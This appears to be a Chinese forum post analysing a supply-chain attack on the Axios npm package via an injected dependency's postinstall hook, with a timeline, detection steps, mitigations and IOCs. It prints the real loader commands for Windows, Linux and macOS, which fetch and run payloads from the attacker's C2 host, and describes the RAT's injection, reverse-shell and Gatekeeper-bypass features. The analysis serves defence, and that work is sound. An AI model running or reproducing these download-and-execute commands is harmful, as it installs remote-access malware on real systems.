找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4570

积分

0

好友

638

主题
发表于 1 小时前 | 查看: 2| 回复: 0

2026年3月31日,npm生态中广泛使用的JavaScript HTTP客户端库Axios遭受了一次高隐蔽性的供应链攻击。攻击者通过劫持合法维护者账号,未改动任何仓库源码,仅通过在 package.json 中注入恶意二次依赖 plain-crypto-js@4.2.1 实施攻击。该依赖的 postinstall 生命周期钩子会在安装阶段自动执行,下载并部署覆盖macOS、Windows、Linux三大平台的远控木马。

本次攻击巧妙地运用了“幽灵依赖 + 诱饵版本 + 自清理”策略,能够在不触发常规源码差异检查的情况下完成投毒。恶意版本 axios@1.14.1axios@0.30.4 的存活时间均不足3小时,已被npm官方紧急下架。

风险提醒

任何在 2026年3月31日北京时间 08:21 之后 执行 npm install 的环境,若依赖范围为 ^1.14.0^0.30.0,均可能已遭感染。建议立即执行 版本锁定、环境审计、IOC 扫描与凭证轮换

一、事件背景

Axios是 npm 生态中下载量最高的包之一,周下载量超过1亿次。此次攻击再次暴露了供应链安全的几个核心脆弱点:

  • 维护者账号安全:账号凭证(MFA/Token)管控是关键防线。
  • 安装脚本风险preinstall/install/postinstall 脚本在默认执行策略下存在固有风险。
  • 审计策略盲区:仅依赖“源码审计/差异对比”无法防范此类 package.json 依赖注入攻击。

二、详细攻击时间线

  1. 2026-03-30 13:57:发布 plain-crypto-js@4.2.0(干净诱饵版本),建立发布历史与可信度。
  2. 2026-03-31 00:03:46:恶意C2域名 sfrclak.com 完成注册。
  3. 2026-03-31 07:59:发布 plain-crypto-js@4.2.1(恶意版本,植入 postinstall 钩子)。
  4. 2026-03-31 08:21:发布 axios@1.14.1,自动依赖恶意包并注入RAT(回连 sfrclak.com:8000)。
  5. 2026-03-31 09:00:发布 axios@0.30.4(0.x分支版本),同样植入后门。
  6. 2026-03-31 10:35:开发者社区及安全厂商开始大规模警报。
  7. 2026-03-31 11:15:npm官方紧急下线两个恶意Axios版本。
  8. 2026-03-31 12:26:npm为 plain-crypto-js 发布安全占位版本,阻断攻击链。

三、技术分析

3.1 攻击手法概览

  • 初始访问:劫持npm维护者账号 jasonsaayman,修改联系邮箱。
  • 执行:仅修改 package.json,注入“源码中未引用”的幽灵依赖 plain-crypto-js@^4.2.1,并移除 prepare 脚本以降低构建阶段暴露风险。
  • 持久化与自清理postinstall 执行混淆的 setup.js,按平台下载payload,随后主动覆盖自身 package.json 为干净版本并删除临时痕迹。
  • 命令与控制:C2地址为 http://sfrclak.com:8000/6202033,仅支持 POST 请求,User-Agent 伪装为旧版 IE,约每 60 秒进行一次信标通信。

3.2 平台特定 Payload 行为概览

攻击载荷针对不同平台使用不同语言编写,但功能结构高度相似,疑似使用AI生成。

平台 典型部署位置 典型执行方式 主要行为
macOS /Library/Caches/com.apple.act.mond AppleScript → zsh 下载 payload、清理临时目录、自删除
Windows %PROGRAMDATA%\wt.exe VBScript → PowerShell 隐藏窗口执行、持久化、远控通联
Linux /tmp/ld.py nohup python3 后台 RAT、痕迹擦除

3.4 Windows PowerShell Payload 分析

3.4.1 载荷拉取与执行链
攻击者将PowerShell解释器复制到 %PROGRAMDATA%\wt.exe,随后通过 curl 拉取下一阶段脚本并以隐藏窗口方式执行。

curl -s -X POST -d "packages.npm.org/product1" "http://sfrclak.com:8000/6202033" > "%UserProfile%\AppData\Local\Temp\6202033.ps1" \
& "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "%UserProfile%\AppData\Local\Temp\6202033.ps1" "http://sfrclak.com:8000/6202033" \
& del "%UserProfile%\AppData\Local\Temp\6202033.ps1" /f

要点:C2地址通过参数传入,-ep bypass 绕过执行策略,形成“下载-执行-删除”的短链路。

3.4.2 功能模块与关键行为
该PowerShell载荷为功能完整的远控木马,核心能力包括:

1)  持续驻留:将PowerShell命令保存为批处理文件并写入注册表 Run 启动项。
Windows PowerShell 持久化注册表写入代码

2)  文件遍历与信息回传:遍历用户文档、桌面、OneDrive及所有盘符,收集文件清单。
Windows 文件遍历函数代码

3)  环境探测:回传进程列表、用户名、机器名、系统版本、安装时间等基础信息。
Windows 环境信息收集代码

4)  反射注入:当C2下发 type=peinject 指令时,将下发的 shellcode 或 DLL 反射注入当前进程。
Windows 反射注入(peinject)处理代码

5)  脚本执行:当C2下发 type=runscript 指令时,执行其携带的脚本内容并回传结果。
Windows 脚本执行(runscript)处理代码

6)  指定目录遍历:当C2下发 type=rundir 指令时,遍历指定目录并回传结果。
Windows 目录遍历(rundir)处理代码

3.4.3 检测与响应

  • 网络侧:重点关注对 sfrclak.com:8000 的 POST 出站通信与周期性信标。
  • 主机侧
    • 注册表 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 中的异常启动项(名称为 MicrosoftUpdate)。
    • %PROGRAMDATA% 目录下的可疑文件(如 wt.exe, system.bat)。
    • 临时目录中 6202033.ps1 的短时出现。

3.5 Linux Python Payload 分析

3.5.1 载荷拉取与执行链
针对Linux,攻击链通过 /bin/sh 调用 curl 下载 Python 脚本并在后台执行。

/bin/sh -c "curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &"

3.5.2 与Windows载荷的关键差异

  • peinject指令:Linux侧将下发的 shellcode 保存为临时可执行文件并直接启动,而非反射注入。
    Linux peinject指令处理代码
  • runscript指令:Linux侧倾向于使用反弹shell方式建立交互通道。
    Linux runscript指令处理代码

3.5.3 检测与响应

  • 主机侧:关注 /tmp/ld.py 的创建、/tmp/.<随机> 形式的可疑可执行文件,以及关联的 shcurlpython3 进程树。

3.6 macOS Payload 分析

3.6.1 载荷拉取与执行链
针对macOS,载荷被下载到系统缓存目录并执行。

curl -o "/Library/Caches/com.apple.act.mond" -d "packages.npm.org/product0" -s http://sfrclak.com:8000/6202033 \
&& chmod 770 "/Library/Caches/com.apple.act.mond" \
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond \"packages.npm.org/product0\"" \
> /dev/null 2>&1 &

3.6.2 与 Windows/Linux 载荷的关键差异

  • peinject指令(Gatekeeper绕过):写入临时文件后,使用 codesign --force --deep --sign - 进行签名,以绕过 Gatekeeper 部分校验。
    macOS peinject指令与codesign绕过代码
  • runscript指令:使用 /usr/bin/osascript 执行下发的 AppleScript 内容。
    macOS runscript指令与osascript执行代码

3.6.3 检测与响应

  • 主机侧:检查 /Library/Caches/com.apple.act.mond 文件、/private/tmp/ 下的随机可执行文件,以及 /usr/bin/osascript 的异常调用。

四、影响评估

  • 受影响范围:直接或间接依赖 axios@^1.14.0axios@^0.30.0 的所有项目,包括CI/CD流水线、构建服务器与开发机。
  • 潜在后果:系统信息窃取、凭证泄露、远程命令执行、跨平台持久化后门、横向移动。
  • 当前状态:恶意版本已被下架,但已安装环境需视为已失陷,并按入侵处置流程处理。

五、缓解措施

5.1 优先进行版本锁定

package.json 中将 Axios 固定为已知安全版本(如 1.14.0),并使用 overrides(npm)或 resolutions(Yarn)字段强制覆盖传递依赖。

{
  "dependencies": {
    "axios": "1.14.0"
  },
  "overrides": {
    "axios": "1.14.0"
  }
}

提交 package-lock.json 并使用 npm ci 确保构建一致性。

5.2 针对疑似中招环境进行审计与 IOC 检测

(1) 依赖版本与锁文件检查

# 检查当前安装的版本
npm ls axios plain-crypto-js --all
# 搜索锁文件中的恶意版本
grep -E 'axios@(1\.14\.1|0\.30\.4)|plain-crypto-js@4\.2\.1' \
package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null || true

(2) node_modules 目录扫描

# 查找潜在的恶意依赖目录
find . -path '*/node_modules/plain-crypto-js' -type d 2>/dev/null
find . -path '*/node_modules/axios' -name 'package.json' -exec grep -E '1\.14\.1|0\.30\.4' {} + 2>/dev/null

(3) 文件系统 IOC 扫描 (示例)

# macOS/Linux
find /Library/Caches -name "com.apple.act.mond" 2>/dev/null
find /tmp -name "ld.py" 2>/dev/null

(4) 网络 IOC 检查 (Linux)

ss -tup|grep -E 'sfrclak\.com|142\.11\.206\.73'|| netstat -tup|grep -E 'sfrclak|142\.11'

检测后处理建议:如发现任何IOC,立即隔离主机,保全证据并启动应急响应流程。仅在完成取证后,方可考虑清理(如 rm -rf node_modules package-lock.json && npm install)。

5.3 轮换可能已失陷的凭证

所有接触过受影响环境的凭证必须立即轮换,包括:npm tokens、SSH密钥、云平台凭证、GitHub PAT等。建议启用MFA,并收敛令牌权限与生命周期。

5.4 对 CI/CD 流程进行安全防护加固

在构建阶段,评估并考虑使用 --ignore-scripts 选项忽略安装脚本。

npm ci --ignore-scripts

总结

本次Axios供应链攻击事件再次印证,npm 生态安全的两个核心风险点在于 维护者账号凭证install 脚本的默认可执行性。即使做到“零源码改动”,攻击者仍可通过依赖注入在构建/安装阶段实现高隐蔽性、跨平台的持久化控制。

所有使用 Axios 或类似广泛依赖的团队都应落实“零信任依赖”原则:

  • 严格执行版本锁定与锁文件提交。
  • 在构建阶段最小化脚本执行权限(必要时使用 --ignore-scripts)。
  • 实施持续的依赖安全扫描与供应链监测。
  • 对维护者账号及各类凭证实施最小权限、短生命周期与强MFA策略。

云栈社区安全 板块,开发者们可以持续交流此类供应链攻击的防御实践与最新动态。

附录 IOCs

  • 恶意包名称
    • plain-crypto-js@4[.]2.1
    • axios@1[.]14.1
    • axios@0[.]30.4
  • C2 基础设施
    • sfrclak[.]com:8000
    • http://sfrclak[.]com:8000/6202033
    • 142.11.206[.]73
  • 典型文件路径
    • macOS/Library/Caches/com[.]apple.act.mond
    • Windows%PROGRAMDATA%\wt[.]exe
    • Linux/tmp/ld[.]py
  • Payload SHA256
    • Windows: ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c
    • macOS: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a



上一篇:如何基于Mem0与Elasticsearch为AI Agent构建跨会话记忆系统
下一篇:Claude Code 客户端源码遭还原:打包疏忽导致4756个TypeScript文件泄露
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-4-1 04:13 , Processed in 0.670157 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表